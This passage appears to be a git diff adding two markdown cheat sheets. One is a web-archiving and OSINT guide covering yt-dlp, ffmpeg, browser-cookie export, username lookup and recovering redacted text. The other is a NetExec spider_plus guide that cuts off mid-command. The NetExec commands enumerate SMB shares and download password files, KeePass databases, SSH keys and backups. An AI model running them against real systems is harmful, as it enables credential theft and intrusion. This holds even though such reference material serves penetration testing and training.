--cookies-from-browser firefox https://www.instagram.com/p/POSTID/ + +# Facebook video (requires cookies) +yt-dlp --cookies-from-browser firefox https://www.facebook.com/video/VIDEOID + +# Twitter Space → optimised MP3 +yt-dlp -x --audio-format mp3 --audio-quality 64K https://twitter.com/i/spaces/SPACEID + +# Spotify podcast episode +yt-dlp https://open.spotify.com/episode/EPISODEID +``` + +--- + +### ffmpeg — Video Processing `fas:Terminal` + +> [!info]+ [ffmpeg](https://ffmpeg.org) Overview +> `fas:Terminal` +> Essential standalone tool for re-encoding, compressing, splitting, and converting video files. Required by yt-dlp. +> 1. Converts any format to universally compatible H.264 MP4 +> 2. GPU-accelerated encoding via NVENC (NVIDIA) +> 3. Lossless stream copy cuts and metadata embedding + +**Universal re-encode to H.264 MP4 (works on ANY input format):** + +```bash +ffmpeg -hwaccel auto -i YOUR_INPUT_FILE.anything \ + -c:v libx264 \ + -pix_fmt yuv420p \ + -profile:v baseline \ + -level 3.0 \ + -crf 22 \ + -preset medium \ + -c:a aac \ + -strict experimental \ + -movflags +faststart \ + -threads 0 \ + output.mp4 +``` + +> [!info]+ CRF Quality Guide +> `ris:FileList` +> 1. **CRF 18** = near-lossless — use for archival masters +> 2. **CRF 22** = good quality — default for most archiving +> 3. **CRF 28** = smaller file, visible quality loss — throwaway clips only +> 4. *Lower number = better quality + larger file size* + +**With downscaling to 720p (reduces file size significantly):** + +```bash +ffmpeg -hwaccel auto -i input.mp4 \ + -c:v libx264 -pix_fmt yuv420p -profile:v baseline -level 3.0 \ + -crf 22 -vf scale=-2:720 -preset medium \ + -c:a aac -strict experimental -movflags +faststart -threads 0 \ + output.mp4 +``` + +*Replace `720` with `1080`, `480`, or `360` as needed. The `-2` ensures width is divisible by 2 (required for MP4).* + +**GPU-accelerated encoding (NVIDIA NVENC):** + +```bash +ffmpeg -hwaccel cuda -i input.mp4 -c:v h264_nvenc -cq 22 -c:a aac output.mp4 +# Note: use -cq (not -crf) for NVENC constant quality mode +``` + +**Split large video into 1-hour chunks:** + +```bash +ffmpeg -hwaccel auto -i input.mp4 \ + -c copy -map 0 \ + -segment_time 01:00:00 \ + -f segment \ + -reset_timestamps 1 \ + -movflags +faststart \ + -threads 0 \ + output%03d.mp4 +# Produces output000.mp4, output001.mp4, etc. +``` + +**Quick lossless cut (no re-encode, very fast):** + +```bash +ffmpeg -i input.mp4 -ss 00:01:00 -to 00:05:00 -c copy output.mp4 +``` + +**Embed metadata/chapters into a downloaded video:** + +```bash +ffmpeg -i input.mp4 -i metadata.txt -map_metadata 1 -c copy output.mp4 +``` + +> [!tip]+ Video Size Strategy +> `fas:Lightbulb` +> 1. **Under 200MB** → upload directly, no processing needed +> 2. **200MB–400MB** → re-encode at 720p first, usually gets under 200MB +> 3. **400MB+** → re-encode first, then split if still too large +> 4. **Never split without re-encoding first** — don't upload large unoptimised chunks +> 5. **Audio quality matters more than video** — reduce resolution before touching audio bitrate + +--- + +### Online Video Archiving (No Command Line) `ris:GlobalLine` + +| Tool | URL | Notes | +|---|---|---| +| **PreserveTube** | [preservetube.com](https://www.preservetube.com) | YouTube up to ~2 hours. Has a UserScript for a YouTube button. | +| **Cobalt** | [cobalt.tools](https://cobalt.tools) | YouTube, Twitter, TikTok, Instagram. ~100 min limit. | +| **Twitter Video DL** | [twittervideodownloader.com](https://twittervideodownloader.com) | Simple Twitter/X downloads, no install. | +| **YouTube Multi DL** | [youtubemultidownloader.net](https://youtubemultidownloader.net) | Bulk download multiple YouTube videos. | +| **Filmot** | [filmot.com](https://filmot.com) | **Finds unlisted and deleted YouTube videos** by searching auto-captions. | +| **Tartube** | [github.com/axcore/tartube](https://github.com/axcore/tartube) | GUI wrapper for yt-dlp — cross-platform. | +| **Handbrake** | [handbrake.fr](https://handbrake.fr) | GUI video compressor (ffmpeg/x264 wrapper). RF 20–22 recommended. | + +--- + +## Part 3 — Screenshots & Full-Page Captures `ris:Eye` + +### Platform Quick Reference + +| Platform | Method | Shortcut | +|---|---|---| +| Windows | Snipping Tool | `Win + Shift + S` | +| Windows (advanced) | ShareX | [getsharex.com](https://getsharex.com) — blur, annotate, upload | +| macOS | Full screen | `Cmd + Shift + 3` | +| macOS | Select area | `Cmd + Shift + 4` | +| macOS | Specific window | `Cmd + Shift + 4` then `Space` | +| iPhone (old) | Power + Home | Saves to Camera Roll | +| iPhone (new) | Power + Vol Up | Saves to Camera Roll | +| Firefox | Built-in | Right-click → Take Screenshot → Save Full Page | +| Chrome/Brave | DevTools | `F12` → `Ctrl+Shift+P` → "Capture full size screenshot" | + +> [!tip]+ Firefox Developer Console Screenshots +> `fas:Terminal` +> Press `Shift + F2` to open the developer toolbar, then: +> ``` +> screenshot --fullpage # saves to Downloads +> screenshot --fullpage --clipboard # copies to clipboard +> screenshot --fullpage myfilename # saves with custom name +> screenshot --fullpage --delay 3 # 3 second delay before capture +> ``` + +> [!tip]+ PNG Compression — Reduce File Size Before Uploading +> `fas:Lightbulb` +> 1. **pngquant** (CLI): `pngquant --quality=65-80 screenshot.png` +> 2. **Squoosh** (browser): [squoosh.app](https://squoosh.app) +> 3. **TinyPNG** (browser): [tinypng.com](https://tinypng.com) + +--- + +## Part 4 — Platform-Specific Archiving `ris:Radar` + +### Twitter / X + +> [!warning]+ Twitter/X requires login for most content — breaks most archivers +> `ris:Radar` +> Methods in order of reliability: +> 1. **Nitter mirror → archive.today**: Replace `twitter.com`/`x.com` with `nitter.poast.org`, feed to archive.ph +> 2. **GhostArchive** directly on x.com URL — works intermittently +> 3. **Thread Reader** for multi-tweet threads: `https://threadreaderapp.com/thread/TWEETID` → archive the Thread Reader URL on archive.ph (static HTML, archives perfectly) +> 4. **yt-dlp** for videos: `yt-dlp https://x.com/user/status/TWEETID` +> 5. **Twint** for bulk account archiving (partially broken): [github.com/twintproject/twint](https://github.com/twintproject/twint) +> 6. **Megalodon** — currently best for archiving individual X/Twitter page URLs + +> [!danger]+ Facebook Image Download URLs Contain Your Identity Token +> `fas:Skull` +> Facebook image download URLs contain an identifying token that can be traced back to your account. Always rename the file or copy-paste the image rather than downloading directly. + +--- + +### Reddit + +> [!info]+ Reddit Archiving +> `ris:FileList` +> 1. Always use **old.reddit.com** URLs — `reddit.com` → `old.reddit.com`. archive.today handles old Reddit layout far better. +> 2. **Unddit** for deleted posts/comments: replace `reddit.com` with `unddit.com` in any URL → [unddit.com](https://unddit.com) +> 3. **Full user post history**: use PRAW (Python Reddit API Wrapper) to iterate profile pages and submit each to archive.today. *See `scripts/reddit_archive_user.py`.* + +--- + +### Discord + +> [!info]+ [DiscordChatExporter](https://github.com/Tyrrrz/DiscordChatExporter) — Standard Discord archiving tool +> `ris:ShareBox` +> Exports Discord servers, channels, and DMs to HTML (with images), JSON, CSV, or TXT. GUI + CLI versions. +> 1. Requires your Discord auth token (browser DevTools → Network tab → Authorization header) +> 2. GUI version is straightforward; CLI supports bulk and automated export + +```bash +# CLI bulk export of an entire server +DiscordChatExporter.Cli exportguild --guild SERVERID --token YOUR_TOKEN --output ./export/ --format HtmlDark +``` + +> [!warning]+ Discord CDN URLs Expire +> `ris:Radar` +> `cdn.discordapp.com` image URLs are publicly accessible without login, but Discord periodically rotates/expires them. Archive immediately after finding them. + +--- + +### Instagram + +> [!info]+ Instagram Archiving Methods +> `ris:GlobalLine` +> Instagram requires login for most content. Working methods: +> 1. **View profiles without account**: [picuki.com](https://picuki.com), [imgsed.com](https://imgsed.com), [dumpor.com](https://dumpor.com) → then feed URL to archive.today +> 2. **Download posts/reels**: [Instaloader](https://instaloader.github.io) (`instaloader profile USERNAME`), JDownloader, [SnapInsta](https://snapinsta.app), [igram.io](https://igram.io) +> 3. **Stories** (disappear after 24h — archive immediately): Instaloader with `--stories` flag (requires login) +> 4. **With yt-dlp** (requires cookies): `yt-dlp --cookies-from-browser firefox https://www.instagram.com/p/POSTID/` + +> [!danger]+ Instagram Screenshot Self-Doxx Warning +> `fas:Skull` +> Instagram embeds your avatar and username into the comment field UI. **Crop or redact your username from every Instagram screenshot before posting.** + +--- + +### TikTok + +```bash +# Individual video (works) +yt-dlp https://www.tiktok.com/@user/video/VIDEOID +``` + +> [!warning]+ yt-dlp profile scraping is broken for TikTok +> `ris:Radar` +> Individual videos still work. For profile-level scraping, use [Geranium's scraper-helper](https://github.com/GeraniumKF/scraper-helper) or [Cobalt](https://cobalt.tools). + +--- + +### YouTube (Special Cases) + +```bash +# Age-restricted (requires logged-in cookies) +yt-dlp --cookies-from-browser chrome https://www.youtube.com/watch?v=VIDEOID + +# Full channel backup with metadata + organised directory structure +yt-dlp --ignore-errors --continue \ + --write-description --write-info-json \ + --write-thumbnail --write-subs \ + --output "%(uploader)s/%(upload_date)s-%(title)s.%(ext)s" \ + https://www.youtube.com/c/CHANNELNAME +``` + +> [!tip]+ Finding Deleted/Unlisted YouTube Videos +> `fas:Lightbulb` +> [Filmot](https://filmot.com) indexes YouTube subtitle data including from removed videos. Search by keywords to find videos no longer publicly visible — extremely useful for tracking deleted content. + +> [!info]+ YouTube Comment Archiving +> `ris:FileList` +> No third-party site currently preserves full comment sections. Use the [YouTube Data API v3](https://developers.google.com/youtube/v3) (free API key) to download all comments from a video programmatically. *See `scripts/youtube_comment_archiver.py`.* + +--- + +### Other Platforms + +> [!info]+ Platform Reference Table +> `ris:FileList` +> +> | Platform | Tool / Method | +> |---|---| +> | **Twitch VODs** | `yt-dlp https://www.twitch.tv/videos/VODID` | +> | **Twitch Clips** | `yt-dlp https://clips.twitch.tv/CLIPNAME` | +> | **Twitch Live** | `yt-dlp https://www.twitch.tv/CHANNELNAME` | +> | **Steam** | [steamid.io](https://steamid.io) to get numeric ID; archive both vanity + `/profiles/76561...` URLs | +> | **DeviantArt** | [RipMe](https://github.com/RipMeApp/ripme) (requires Java JDK) — archives entire galleries | +> | **Tumblr** | archive.today handles NSFW blogs; original-posts-only: [studiomoh.com/fun/tumblr_originals](https://studiomoh.com/fun/tumblr_originals) | +> | **4chan** | [4plebs.org](https://4plebs.org) — permanent archive. Threads 404 fast — archive immediately. Also archive the 4plebs link itself on archive.today. | +> | **Gab** | [garc](https://github.com/DocNow/garc) — Gab API scraper (fork of twarc), requires Gab login | +> | **Bluesky** | archive.today works well with Bluesky URLs currently | +> | **AO3 / FFN** | FanFictionDownloader — downloads with full metadata (URL, timestamp, author) | +> | **Spotify / Podcasts** | `yt-dlp https://open.spotify.com/episode/EPISODEID` (some require logged-in session) | +> | **Facebook Videos** | `yt-dlp --cookies-from-browser firefox https://www.facebook.com/video/VIDEOID` (click through content warning first) | + +--- + +## Part 5 — Bulk & Automated Archiving `fas:ClipboardList` + +> [!info]+ Batch Submit URLs to Wayback Machine +> `fas:Terminal` +> ```bash +> # Submit a list of URLs from a file +> cat urls.txt | xargs -I{} curl -s "https://web.archive.org/save/{}" +> ``` +> *See `scripts/batch_archive.sh` for a rate-limited, logged version of this.* + +> [!info]+ [Internet Archive CLI](https://github.com/jjjake/internetarchive) +> `fas:Terminal` +> Official CLI for uploading files directly to the Internet Archive. +> ```bash +> pip install internetarchive +> ia upload IDENTIFIER /path/to/file +> ``` + +> [!info]+ [Bellingcat Auto Archiver](https://github.com/bellingcat/auto-archiver) +> `ris:Radar` +> Professional-grade automated archiving. Takes URLs from spreadsheets, Telegram, or other sources and archives to archive.org, Google Drive, S3, etc. with verification metadata. Used by journalists and OSINT researchers. + +> [!info]+ Archiving Entire Wikis and Forums +> `fas:Terminal` +> ```bash +> # HTTrack (recommended — handles link rewriting automatically) +> httrack https://wiki.example.com -O ./local_mirror/ -r6 +> +> # wget (alternative) +> wget --mirror --convert-links --adjust-extension --page-requisites --no-parent https://wiki.example.com +> ``` +> For large-scale professional crawls: [Heritrix](https://github.com/internetarchive/heritrix3) — the Internet Archive's own open-source crawler. + +> [!info]+ Download an Existing Wayback Machine Snapshot Locally +> `fas:Terminal` +> ```bash +> gem install wayback_machine_downloader +> wayback_machine_downloader http://example.com +> +> # Specify a date range +> wayback_machine_downloader http://example.com --from 20200101 --to 20201231 +> ``` + +--- + +## Part 6 — OSINT & Account Finding `ris:Radar` + +| Tool | URL | Use For | +|---|---|---| +| **Sherlock** | [github.com/sherlock-project/sherlock](https://github.com/sherlock-project/sherlock) | Username search across 300+ social media sites | +| **Maigret** | [github.com/soxoj/maigret](https://github.com/soxoj/maigret) | More comprehensive than Sherlock, shows profile info | +| **Filmot** | [filmot.com](https://filmot.com) | Find unlisted/deleted YouTube videos via subtitle search | +| **vacbanned.com** | [vacbanned.com](http://www.vacbanned.com) | Names associated with VAC-banned Steam accounts | +| **SteamID.io** | [steamid.io](https://steamid.io) | Convert Steam vanity URLs to permanent numeric IDs | + +```bash +# Sherlock +python3 sherlock username + +# Maigret (more detailed, more sites) +python3 -m maigret username +``` + +--- + +## Part 7 — File Hosting for Large Files `ris:ShareBox` + +> [!tip]+ File Hosting Priority Order +> `fas:Lightbulb` +> 1. **On-site upload** — always preferred. Use your platform's native upload (e.g. 200MB limit on most forums). +> 2. **MEGA** ([mega.nz](https://mega.nz)) — widely accepted off-site host. Large files, free tier. +> 3. **Internet Archive** ([archive.org/upload](https://archive.org/upload)) — free, unlimited, permanent. Best for large video files. +> 4. **multiup.io** ([multiup.io](https://multiup.io)) — upload once, mirrors automatically to multiple file hosts. Redundant links. +> +> **Avoid:** Any single-purpose file hosts, social media embeds, or link shorteners. They disappear. + +--- + +## Part 8 — Un-Redacting & Recovering Obscured Content `ris:Eye` + +### Recovering Poorly Redacted Text + +> [!tip]+ Text Hidden Under a Black Bar (Image Editor Method) +> `fas:Lightbulb` +> If text was redacted with a black rectangle placed *over* it (not burned in): +> 1. Open in GIMP, Photoshop, or even MS Paint +> 2. Try **Levels** or **Curves** adjustment — drag input levels to extremes +> 3. Try **Contrast** at maximum +> 4. If the black bar is a separate layer (common in quick edits), select and delete the layer + +### Recovering Deleted Content `ris:Radar` + +| Method | Where to Look | +|---|---| +| **Google Cache** | `cache:https://example.com/page` (being phased out, sometimes works) | +| **Wayback Machine** | `https://web.archive.org/web/*/example.com/page` | +| **Unddit** (Reddit) | Replace `reddit.com` with `unddit.com` | +| **Filmot** (YouTube) | Search deleted video titles/content at [filmot.com](https://filmot.com) | +| **Google snippets** | Search for the title — results show text excerpts even when cache is gone | + +--- + +## Part 9 — Expanded: Cookie Extraction for Archiving `ris:LockPassword` + +Many archiving tasks require authenticated sessions. The cleanest method is exporting cookies from your browser. + +> [!info]+ Exporting Cookies with yt-dlp (Automatic) +> `fas:Terminal` +> yt-dlp can pull cookies directly from your browser — no manual export needed: +> ```bash +> yt-dlp --cookies-from-browser firefox URL +> yt-dlp --cookies-from-browser chrome URL +> yt-dlp --cookies-from-browser brave URL +> ``` + +> [!info]+ Manual Cookie Export (Netscape Format) +> `fas:Terminal` +> For tools that require a `cookies.txt` file: +> 1. Install the **Get cookies.txt LOCALLY** extension in Firefox or Chrome +> 2. Navigate to the site while logged in +> 3. Click the extension → export → save as `cookies.txt` +> 4. Use with: `yt-dlp --cookies cookies.txt URL` + +> [!warning]+ Cookie Security +> `ris:Radar` +> 1. Never share your cookies.txt file — it grants full session access to your accounts +> 2. Delete exported cookie files after use +> 3. Use throwaway accounts for archiving sensitive content + +--- + +## Part 10 — Expanded: VTT Subtitle Processing `ris:FileList` + +Auto-generated subtitles from yt-dlp are invaluable for searching long videos and streams. + +```bash +# Download auto-generated subtitles alongside video +yt-dlp --write-auto-subs --sub-format vtt https://www.youtube.com/watch?v=VIDEOID + +# Download subtitles only (no video) +yt-dlp --skip-download --write-auto-subs --sub-format vtt https://www.youtube.com/watch?v=VIDEOID +``` + +*See `scripts/vtt_to_text.py` for a script that converts `.vtt` files to searchable plaintext.* + +--- + +## Complete Tool Reference `fas:ClipboardList` + +### Web Archiving + +| Tool | URL | Best For | +|---|---|---| +| archive.today | [archive.ph](https://archive.ph) | Primary web page archiving | +| GhostArchive | [ghostarchive.org](https://ghostarchive.org) | Backup archiver, LinkedIn, Facebook | +| Megalodon | [megalodon.jp](https://megalodon.jp) | Japanese archiver, good Twitter backup | +| Wayback Machine | [web.archive.org](https://web.archive.org) | Finding old archives — not primary | +| Perma.cc | [perma.cc](https://perma.cc) | Legal-grade citations | +| archiveweb.page | [archiveweb.page](https://archiveweb.page) | Local WARC archives of JS-heavy sites | +| Browsertrix | [browsertrix.com](https://browsertrix.com) | Automated high-fidelity crawling | +| monolith | [github.com/Y2Z/monolith](https://github.com/Y2Z/monolith) | Single-file local HTML archive | +| HTTrack | [httrack.com](http://httrack.com) | Full site mirror with link rewriting | + +### Video Downloading + +| Tool | URL | Best For | +|---|---|---| +| yt-dlp | [github.com/yt-dlp/yt-dlp](https://github.com/yt-dlp/yt-dlp) | Everything | +| ffmpeg | [ffmpeg.org](https://ffmpeg.org) | Re-encoding, splitting, converting | +| PreserveTube | [preservetube.com](https://www.preservetube.com) | Easy YouTube archiving online | +| Cobalt | [cobalt.tools](https://cobalt.tools) | Quick multi-platform downloads | +| Tartube | [github.com/axcore/tartube](https://github.com/axcore/tartube) | yt-dlp GUI | +| Handbrake | [handbrake.fr](https://handbrake.fr) | GUI video compression | +| Filmot | [filmot.com](https://filmot.com) | Find deleted/unlisted YouTube videos | +| Twitter Video DL | [twittervideodownloader.com](https://twittervideodownloader.com) | Twitter/X videos without tools | + +### OSINT + +| Tool | URL | Best For | +|---|---|---| +| Sherlock | [github.com/sherlock-project/sherlock](https://github.com/sherlock-project/sherlock) | Username enumeration across 300+ sites | +| Maigret | [github.com/soxoj/maigret](https://github.com/soxoj/maigret) | Comprehensive username + profile OSINT | +| Filmot | [filmot.com](https://filmot.com) | Deleted YouTube video discovery | +| SteamID.io | [steamid.io](https://steamid.io) | Steam vanity URL → permanent ID | + +--- + +## Lessons Learned `fas:Lightbulb` + +1. **Redundancy is everything.** A single archiver is a single point of failure. Submit every important page to at least archive.today AND one backup (GhostArchive or Megalodon). Services die, get pressured, or get acquired. +2. **Old interfaces archive better.** `old.reddit.com` vs new Reddit, Nitter vs Twitter.com — JavaScript-heavy modern UIs break archivers. Always prefer the legacy URL when one exists. +3. **Cookies solve most login walls.** yt-dlp's `--cookies-from-browser` flag handles age restrictions, rate limits, and member-only content without manual token extraction. +4. **Audio > video when cutting file size.** When you need to reduce a video for upload, drop resolution (1080p → 720p) before touching audio bitrate. Compressed audio is noticeably worse; compressed video is not. +5. **Archive the archive.** External archive links (4plebs, Wayback, etc.) can themselves go down. If something is critical, archive the archive URL on archive.today too. + +--- + +## References `fas:BookOpen` + +1. [yt-dlp GitHub](https://github.com/yt-dlp/yt-dlp) +2. [ffmpeg Official Download](https://ffmpeg.org/download.html) +3. [archive.today / archive.ph](https://archive.ph) +4. [GhostArchive](https://ghostarchive.org) +5. [Megalodon](https://megalodon.jp) +6. [Wayback Machine](https://web.archive.org) +7. [Perma.cc](https://perma.cc) +8. [archiveweb.page (Webrecorder)](https://archiveweb.page) +9. [Browsertrix Crawler](https://github.com/webrecorder/browsertrix-crawler) +10. [monolith](https://github.com/Y2Z/monolith) +11. [SingleFile Firefox Extension](https://addons.mozilla.org/en-US/firefox/addon/single-file/) +12. [HTTrack](http://httrack.com) +13. [DiscordChatExporter](https://github.com/Tyrrrz/DiscordChatExporter) +14. [Instaloader](https://instaloader.github.io) +15. [Sherlock](https://github.com/sherlock-project/sherlock) +16. [Maigret](https://github.com/soxoj/maigret) +17. [Filmot — YouTube subtitle search](https://filmot.com) +18. [Bellingcat Auto Archiver](https://github.com/bellingcat/auto-archiver) +19. [Internet Archive CLI](https://github.com/jjjake/internetarchive) +20. [Heritrix Web Crawler](https://github.com/internetarchive/heritrix3) +21. [Thread Reader App](https://threadreaderapp.com) +22. [Unddit — deleted Reddit posts](https://unddit.com) +23. [SteamID.io](https://steamid.io) +24. [Cobalt Downloader](https://cobalt.tools) +25. [PreserveTube](https://www.preservetube.com) +26. [Tartube](https://github.com/axcore/tartube) +27. [ShareX](https://getsharex.com) +28. [Handbrake](https://handbrake.fr) +29. [RipMe](https://github.com/RipMeApp/ripme) +30. [Twint](https://github.com/twintproject/twint) +31. [YouTube Data API v3](https://developers.google.com/youtube/v3) +32. [4plebs](https://4plebs.org) +33. [garc — Gab scraper](https://github.com/DocNow/garc) +34. [Nitter mirror](https://nitter.poast.org) +35. [webvtt-py](https://github.com/glut23/webvtt-py) +36. [multiup.io](https://multiup.io) +37. [MEGA](https://mega.nz) +38. [Squoosh](https://squoosh.app) + +--- + +#Archival #OSINT #Tools #Cheatsheet #yt-dlp #ffmpeg #WebArchiving #VideoDownloading #ContentRecovery diff --git a/src/content/sheets/tools/netexec-spiderplus.md b/src/content/sheets/tools/netexec-spiderplus.md @@ -0,0 +1,566 @@ +--- +title: "NetExec - SpiderPlus" +description: "NetExec has two main spider modules:" +category: tools +tags: ["tools"] +tools: ["NetExec", "PowerShell"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Tools/NetExec - SpiderPlus.md" +--- +# NetExec Spider Module Guide - Downloading Files from SMB Shares + +## Spider Modules Overview + +NetExec has two main spider modules: +- **spider_plus** - Modern, feature-rich (recommended) +- **spider** - Legacy module (deprecated) + +--- + +## Spider Plus Module Deep Dive + +### 1. Basic Spider Usage (List Files Only) + +```bash +# Spider all shares (read-only mode - no downloads) +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus + +# Spider with null/guest session +nxc smb 10.10.11.51 -u '' -p '' -M spider_plus +nxc smb 10.10.11.51 -u 'guest' -p '' -M spider_plus + +# Spider specific share +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o SHARE=ShareName +``` + +**Output Location:** Results saved to `/tmp/nxc_spider_plus/<IP>_<timestamp>.json` + +--- + +## 2. Downloading Files + +### Download All Files +```bash +# Enable download mode (downloads everything!) +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false + +# Downloads saved to: /tmp/nxc_spider_plus/<IP>/ +``` + +⚠️ **Warning:** This downloads ALL accessible files. Use filters to limit! + +--- + +## 3. Filtering Options + +### Filter by File Extension + +```bash +# Download only specific file types +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false EXT=txt,doc,docx,pdf + +# Common useful extensions +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false EXT=txt,pdf,docx,xlsx,xml,config,conf,ini,ps1,bat,cmd + +# Password files and sensitive data +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false EXT=txt,xml,config,ini,kdbx,key,pem + +# Scripts and code +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false EXT=ps1,bat,cmd,vbs,js,py,sh +``` + +### Filter by File Size + +```bash +# Download files within size range (in bytes) +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false MAX_FILE_SIZE=52428800 + +# Small files only (under 10MB) +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false MAX_FILE_SIZE=10485760 + +# Exclude empty files +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false MIN_FILE_SIZE=1 +``` + +**Size Reference:** +- 1 MB = 1,048,576 bytes +- 10 MB = 10,485,760 bytes +- 50 MB = 52,428,800 bytes +- 100 MB = 104,857,600 bytes + +### Filter by Pattern (Filename Matching) + +```bash +# Download files matching a pattern +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false PATTERN=password + +# Multiple patterns (comma-separated) +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false PATTERN=password,admin,secret,credential,backup + +# Case-insensitive pattern matching (default behavior) +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false PATTERN=pass +``` + +### Exclude Folders + +```bash +# Exclude specific directories +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o READ_ONLY=false EXCLUDE_DIR=Windows,Program Files + +# Exclude common system folders +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus -o EXCLUDE_DIR="Windows,Program Files,Program Files (x86),$Recycle.Bin" +``` + +--- + +## 4. Advanced Filtering Combinations + +### Hunt for Passwords and Credentials + +```bash +# Download credential-related files +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \ + -o READ_ONLY=false \ + PATTERN=password,pass,pwd,credential,cred,secret,admin,backup,config \ + EXT=txt,xml,config,ini,conf,kdbx,key,pem,ppk \ + MAX_FILE_SIZE=10485760 + +# Download KeePass databases +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \ + -o READ_ONLY=false \ + EXT=kdbx,kdb + +# Download SSH keys +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \ + -o READ_ONLY=false \ + PATTERN=id_rsa,id_dsa,id_ecdsa,id_ed25519 \ + EXT=pem,key,ppk +``` + +### Hunt for Scripts and Configuration + +```bash +# Download scripts and configs +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \ + -o READ_ONLY=false \ + EXT=ps1,bat,cmd,vbs,sh,py,config,conf,ini,xml,json \ + MAX_FILE_SIZE=5242880 + +# PowerShell scripts only +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \ + -o READ_ONLY=false \ + EXT=ps1,psm1,psd1 +``` + +### Hunt for Documentation + +```bash +# Download documents +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \ + -o READ_ONLY=false \ + EXT=doc,docx,pdf,txt,rtf,odt,xls,xlsx \ + MAX_FILE_SIZE=52428800 + +# Small text files only (README, notes, etc.) +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \ + -o READ_ONLY=false \ + EXT=txt,md \ + MAX_FILE_SIZE=1048576 +``` + +### Hunt for Backup Files + +```bash +# Download backup files +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \ + -o READ_ONLY=false \ + PATTERN=backup,bak,old,copy \ + EXT=bak,zip,7z,rar,tar,gz,old + +# Archive files +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \ + -o READ_ONLY=false \ + EXT=zip,7z,rar,tar,gz,bz2 \ + MAX_FILE_SIZE=104857600 +``` + +--- + +## 5. Complete Spider Workflow + +### Phase 1: Reconnaissance (No Download) + +```bash +# Step 1: Identify accessible shares +nxc smb 10.10.11.51 -u 'username' -p 'password' --shares + +# Step 2: Spider to see what's available (read-only) +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus + +# Step 3: Review the JSON output +cat /tmp/nxc_spider_plus/10.10.11.51_*.json | jq '.' + +# Step 4: Analyze file types and names +cat /tmp/nxc_spider_plus/10.10.11.51_*.json | jq '.[] | .name' | sort -u +``` + +### Phase 2: Targeted Download + +```bash +# Based on reconnaissance, download specific files + +# Example: Found interesting configs +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \ + -o READ_ONLY=false \ + SHARE=IT_Share \ + EXT=config,conf,xml,ini \ + MAX_FILE_SIZE=5242880 + +# Example: Found password files +nxc smb 10.10.11.51 -u 'username' -p 'password' -M spider_plus \ + -o READ_ONLY=false \ + PATTERN=password,credential \ + MAX_FILE_SIZE=1048576 +``` + +### Phase 3: Post-Download Analysis + +```bash +# Navigate to download location +cd /tmp/nxc_spider_plus/10.10.11.51/ + +# Find all downloaded files +find . -type f + +# Search for passwords in files +grep -r -i "password" . +grep -r -i "pass" . | grep -v "Binary" + +# Search for usernames +grep -r -i "username" . +grep -r -i "admin" . + +# Search for IP addresses +grep -r -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" . + +# Search for email addresses +grep -r -oE "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b" . + +# List files by size +find . -type f -exec ls -lh {} \; | sort -k5 -h + +# Find recently modified files +find . -type f -mtime -30 -ls +``` + +--- + +## 6. Spider Plus All Options Reference + +```bash +nxc smb <target> -u <user> -p <pass> -M spider_plus -o <OPTIONS> +``` + +| Option | Description | Example | +|:---|:---|:---| +| `READ_ONLY` | If false, downloads files (default: true) | `READ_ONLY=false` | +| `SHARE` | Target specific share | `SHARE=C$` | +| `EXCLUDE_DIR` | Exclude directories (comma-separated) | `EXCLUDE_DIR=Windows,Temp` | +| `MAX_FILE_SIZE` | Max file size in bytes (default: 51200) | `MAX_FILE_SIZE=52428800` | +| `MIN_FILE_SIZE` | Min file size in bytes | `MIN_FILE_SIZE=1` | +| `EXT` | File extensions (comma-separated) | `EXT=txt,pdf,docx` | +| `PATTERN` | Filename pattern match | `PATTERN=password,admin` | +| `EXCLUDE_EXTS` | Exclude extensions | `EXCLUDE_EXTS=exe,dll,sys` | + +--- + +## 7. Practical Examples + +### Example 1: Initial Quick Recon + +```bash +# First pass - just enumerate +nxc smb 10.10.11.51 -u 'jsmith' -p 'Summer2024!' -M spider_plus + +# Check results +cat /tmp/nxc_spider_plus/10.10.11.51_*.json | jq '.[].name' | grep -i password +``` + +### Example 2: Download Interesting Files + +```bash +# Download files with "password" or "config" in name +nxc smb 10.10.11.51 -u 'jsmith' -p 'Summer2024!' -M spider_plus \ + -o READ_ONLY=false \ + PATTERN=password,config,credential,backup \ + EXT=txt,xml,ini,config,conf \ + MAX_FILE_SIZE=10485760 + +# Check what was downloaded +ls -lah /tmp/nxc_spider_plus/10.10.11.51/ +``` + +### Example 3: Specific Share Hunting + +```bash +# Target the SYSVOL share (often contains scripts) +nxc smb 10.10.11.51 -u 'jsmith' -p 'Summer2024!' -M spider_plus \ + -o READ_ONLY=false \ + SHARE=SYSVOL \ + EXT=bat,cmd,ps1,vbs,xml + +# Target NETLOGON share +nxc smb 10.10.11.51 -u 